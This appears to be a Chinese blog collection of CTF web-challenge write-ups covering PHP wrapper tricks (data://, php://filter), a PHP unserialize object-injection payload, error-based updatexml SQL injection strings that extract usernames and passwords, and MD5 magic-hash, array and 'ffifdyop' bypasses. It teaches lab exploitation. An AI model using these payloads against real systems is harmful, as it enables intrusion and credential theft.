if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
再来一次payload:param1[]=1¶m2[]=2
使用hackbar传参
这题进来就是一段代码,如下:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这里要设计反序列化的一些内容。
任务一:满足if条件语句
首先我们的第一个任务,观察到如下代码我们可以知道,我们需要使text 的值为"welcome to the zjctf"
那么如何去做呢,?
绕过方式一:(data伪协议写入文件)
构造payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(d2VsY29tZSB0byB0aGUgempjdGY=是welcome to the zjctf的base64编码形式)为了绕过一些可能出现的过滤,我们通常需要使用base64加密。
出现以上内容就说明我们这个if语句是成功绕过了,下面我们要进行
任务二:读取$file的文件内容
这里我们发现源代码里面有一个preg_match进行了正则匹配,我们需要绕过。
绕过方式二:filter伪协议读取源码
我们同样使用base64编码得到payload如下:
?file=php://filter/read=convert.base64-encode/resource=useless.php
然后就出现了一段代码,如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这一堆代码就是源码中的这个
它告诉我们了这是个没用的文件。我们的关键还是在后面的代码上。
任务三:反序列化传参
我们看到源码最后会echo一个password对吧?并且password是进行了序列化的,所以我们将file=flag.php进行序列化作为password的参数应该就可以获得flag了
绕过方式三:(反序列化)
这里用在线php编译器编译一下以下的代码
<?php
class Flag{
public $file="flag.php";
}
$a = new Flag();
echo serialize($a);
?>
得到O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}这就是反序列化的结果。因此,
构造payload:
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
就可以得到一个页面,flag就在这个页面的原码里面
首先我们看看他过滤了一些什么字符,先随便输入用户名和密码,用burpsuite抓包试试。
抓到一个get请求包,我们发送给intruder爆破
位置我们暂时只选择密码
由于burpsuit自带的字典不咋滴,我们使用sql注入常用的fuzz字典(百度哈),下面是被过滤了的。
然后我们惊喜的发现updatexml没有被过滤
由于空格被过滤,我们采用括号绕过
爆数据库名
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
爆表名(由于过滤了=,因此我们使用like)
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
爆字段值
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
爆用户名和密码
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
我们发现只爆出了一部分的flag,于是我们使用right查另一边
admin'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#
由此我们去掉重复部分即可得到最终的flag
这题一进去,网页就把源代码给你了,还给了提示。我们看一看
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
思路很清晰,涉及了强类型比较
任务一:id与gg强类型比较
if(isset($_GET['gg'])&&isset($_GET['id']))
绕过方式:md5碰撞
?id[]=QNKCDZO&gg[]=240610708
第一步就完成了
任务二:is_numeric的绕过以及password值设定
这里很显然我们要传入passwd的值,并且由于 is_numeric的存在输入不能是数字,因此我们输入1234567a这里,1234567a是字符串,但是弱比较的时候,1在前,php会将其整体转成数字,就可以通过比较了。
is_numeric — 检测变量是否为数字或数字字符串,bool is_numeric ( mixed $var )。如果 var
是数字和数字字符串则返回 TRUE,否则返回 FALSE。(PHP中用法)
注意这里的传参就不是在url里面了,而是在hackbar里post data。因为源代码里面,前两个是get所以可以url传参,而passwd是post。
于是就得到了flag了
强类型比较与弱类型比较的区别
强类型:=== 比较值也比较类型
弱类型:== 只比较值
弱类型绕过
1.0e绕过
弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
所以我们只要使用以下这些字符串(md5值以0e开头)就可以绕过检测
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
2.数组绕过
md5()函数计算的是一个字符串的哈希值,对于数组则返回false
payload:?a[]=1&b[]=2
MD5强类型绕过
1、哈希碰撞
因为强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行
但是我们可以用MD值完全相同的字符来进行绕过
2、数组绕过
理由同上
3、特定条件下的MD验证绕过:ffifdyop
Select * from ’admin’ where password=md5($pass,true)
由于MD5报文将以原始 16字符二进制格式返回,而ffifdyop 字符串经过MD5加密后为276f722736c95d99e921722cf9ed621c
在转换成字符串为’or’6…
Select * from ’admin’ where password=‘or’6…
相当于万能密码
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。